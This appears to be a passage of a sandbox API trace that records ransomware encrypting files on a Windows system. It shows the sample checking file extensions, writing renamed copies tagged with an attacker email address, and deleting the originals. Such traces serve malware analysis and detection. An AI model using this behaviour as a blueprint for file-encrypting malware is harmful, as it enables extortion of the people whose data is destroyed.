[0220.556] lstrlenW (lpString=".zip") returned 4 [0220.556] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0220.556] lstrlenW (lpString=".rar") returned 4 [0220.556] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0220.556] lstrlenW (lpString=".bz2") returned 4 [0220.556] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0220.556] lstrlenW (lpString=".7z") returned 3 [0220.556] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0220.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0220.556] lstrlenW (lpString=".dbf") returned 4 [0220.556] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0227.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0229.298] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0229.298] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0229.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.342] GetLastError () returned 0x0 [0229.342] ReadFile (in: hFile=0x398, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0230.279] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0230.495] ReadFile (in: hFile=0x398, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0230.496] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xea, lpOverlapped=0x0) returned 1 [0230.496] SetEndOfFile (hFile=0x390) returned 1 [0230.523] CloseHandle (hObject=0x390) returned 1 [0230.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0230.523] SetEndOfFile (hFile=0x398) returned 1 [0230.869] CloseHandle (hObject=0x398) returned 1 [0230.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.874] lstrlenW (lpString=".doc") returned 4 [0230.874] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.874] lstrlenW (lpString=".docx") returned 5 [0230.874] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.874] lstrlenW (lpString=".pdf") returned 4 [0230.874] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.874] lstrlenW (lpString=".xls") returned 4 [0230.874] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.874] lstrlenW (lpString=".xlsx") returned 5 [0230.875] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.875] lstrlenW (lpString=".ppt") returned 4 [0230.875] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.875] lstrlenW (lpString=".zip") returned 4 [0230.875] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.875] lstrlenW (lpString=".rar") returned 4 [0230.875] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.875] lstrlenW (lpString=".bz2") returned 4 [0230.875] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.875] lstrlenW (lpString=".7z") returned 3 [0230.875] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.876] lstrlenW (lpString=".dbf") returned 4 [0230.876] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.876] lstrlenW (lpString=".1cd") returned 4 [0230.876] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.876] lstrlenW (lpString=".jpg") returned 4 [0230.876] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.876] lstrlenW (lpString=".doc") returned 4 [0230.877] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.877] lstrlenW (lpString=".docx") returned 5 [0230.877] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.877] lstrlenW (lpString=".pdf") returned 4 [0230.877] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.877] lstrlenW (lpString=".xls") returned 4 [0230.877] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.877] lstrlenW (lpString=".xlsx") returned 5 [0230.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.877] lstrlenW (lpString=".ppt") returned 4 [0230.877] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.877] lstrlenW (lpString=".zip") returned 4 [0230.878] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.878] lstrlenW (lpString=".rar") returned 4 [0230.878] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.878] lstrlenW (lpString=".bz2") returned 4 [0230.878] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.878] lstrlenW (lpString=".7z") returned 3 [0230.878] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.878] lstrlenW (lpString=".dbf") returned 4 [0230.878] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.878] lstrlenW (lpString=".1cd") returned 4 [0230.878] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0230.879] lstrlenW (lpString=".jpg") returned 4 [0230.879] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.879] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.879] lstrlenW (lpString="FINCL_02.MID") returned 12 [0230.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.937] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=9318) returned 1 [0230.937] CloseHandle (hObject=0x1c0) returned 1 [0230.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0231.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0231.096] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0231.096] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0231.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0231.097] GetLastError () returned 0x0 [0231.097] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x2466, lpOverlapped=0x0) returned 1 [0231.184] WriteFile (in: hFile=0x3b8, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x2470, lpOverlapped=0x0) returned 1 [0231.188] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0231.188] WriteFile (in: hFile=0x3b8, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.189] SetEndOfFile (hFile=0x3b8) returned 1 [0231.434] CloseHandle (hObject=0x3b8) returned 1 [0231.445] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0231.445] SetEndOfFile (hFile=0x3ac) returned 1 [0231.613] CloseHandle (hObject=0x3ac) returned 1 [0231.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0231.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.885] lstrlenW (lpString=".doc") returned 4 [0231.885] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.885] lstrlenW (lpString=".docx") returned 5 [0231.886] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0231.886] lstrlenW (lpString=".pdf") returned 4 [0231.886] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.886] lstrlenW (lpString=".xls") returned 4 [0231.886] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.886] lstrlenW (lpString=".xlsx") returned 5 [0231.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0231.886] lstrlenW (lpString=".ppt") returned 4 [0231.888] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.888] lstrlenW (lpString=".zip") returned 4 [0231.889] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.889] lstrlenW (lpString=".rar") returned 4 [0231.889] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.889] lstrlenW (lpString=".bz2") returned 4 [0231.889] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.889] lstrlenW (lpString=".7z") returned 3 [0231.889] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.889] lstrlenW (lpString=".dbf") returned 4 [0231.890] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.890] lstrlenW (lpString=".1cd") returned 4 [0231.890] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.890] lstrlenW (lpString=".jpg") returned 4 [0231.890] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.891] lstrlenW (lpString=".doc") returned 4 [0231.891] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.891] lstrlenW (lpString=".docx") returned 5 [0231.891] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0231.891] lstrlenW (lpString=".pdf") returned 4 [0231.892] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.892] lstrlenW (lpString=".xls") returned 4 [0231.892] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.892] lstrlenW (lpString=".xlsx") returned 5 [0231.892] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0231.892] lstrlenW (lpString=".ppt") returned 4 [0231.892] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.893] lstrlenW (lpString=".zip") returned 4 [0231.893] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.893] lstrlenW (lpString=".rar") returned 4 [0231.893] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.893] lstrlenW (lpString=".bz2") returned 4 [0231.893] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.893] lstrlenW (lpString=".7z") returned 3 [0231.893] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.893] lstrlenW (lpString=".dbf") returned 4 [0231.893] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.893] lstrlenW (lpString=".1cd") returned 4 [0231.894] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0231.894] lstrlenW (lpString=".jpg") returned 4 [0231.894] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.894] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0231.894] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0231.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.100] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=5843) returned 1 [0232.100] CloseHandle (hObject=0x3b0) returned 1 [0232.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0232.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0232.274] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.274] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.275] GetLastError () returned 0x0 [0232.275] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x16d3, lpOverlapped=0x0) returned 1 [0232.295] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0232.299] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0232.299] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.300] SetEndOfFile (hFile=0x35c) returned 1 [0232.300] CloseHandle (hObject=0x35c) returned 1 [0232.300] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.300] SetEndOfFile (hFile=0x3ac) returned 1 [0232.314] CloseHandle (hObject=0x3ac) returned 1 [0232.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0232.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.364] lstrlenW (lpString=".doc") returned 4 [0232.364] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.364] lstrlenW (lpString=".docx") returned 5 [0232.364] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.364] lstrlenW (lpString=".pdf") returned 4 [0232.364] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.364] lstrlenW (lpString=".xls") returned 4 [0232.365] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.365] lstrlenW (lpString=".xlsx") returned 5 [0232.365] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.365] lstrlenW (lpString=".ppt") returned 4 [0232.365] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.365] lstrlenW (lpString=".zip") returned 4 [0232.365] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.365] lstrlenW (lpString=".rar") returned 4 [0232.365] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.365] lstrlenW (lpString=".bz2") returned 4 [0232.365] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.365] lstrlenW (lpString=".7z") returned 3 [0232.366] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.366] lstrlenW (lpString=".dbf") returned 4 [0232.366] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.366] lstrlenW (lpString=".1cd") returned 4 [0232.366] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.366] lstrlenW (lpString=".jpg") returned 4 [0232.366] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.367] lstrlenW (lpString=".doc") returned 4 [0232.367] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.367] lstrlenW (lpString=".docx") returned 5 [0232.367] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.367] lstrlenW (lpString=".pdf") returned 4 [0232.367] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.367] lstrlenW (lpString=".xls") returned 4 [0232.367] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.367] lstrlenW (lpString=".xlsx") returned 5 [0232.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.367] lstrlenW (lpString=".ppt") returned 4 [0232.367] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.367] lstrlenW (lpString=".zip") returned 4 [0232.367] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.368] lstrlenW (lpString=".rar") returned 4 [0232.368] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.368] lstrlenW (lpString=".bz2") returned 4 [0232.368] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.368] lstrlenW (lpString=".7z") returned 3 [0232.368] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.368] lstrlenW (lpString=".dbf") returned 4 [0232.368] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.368] lstrlenW (lpString=".1cd") returned 4 [0232.368] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0232.368] lstrlenW (lpString=".jpg") returned 4 [0232.368] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.369] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.369] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0232.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft 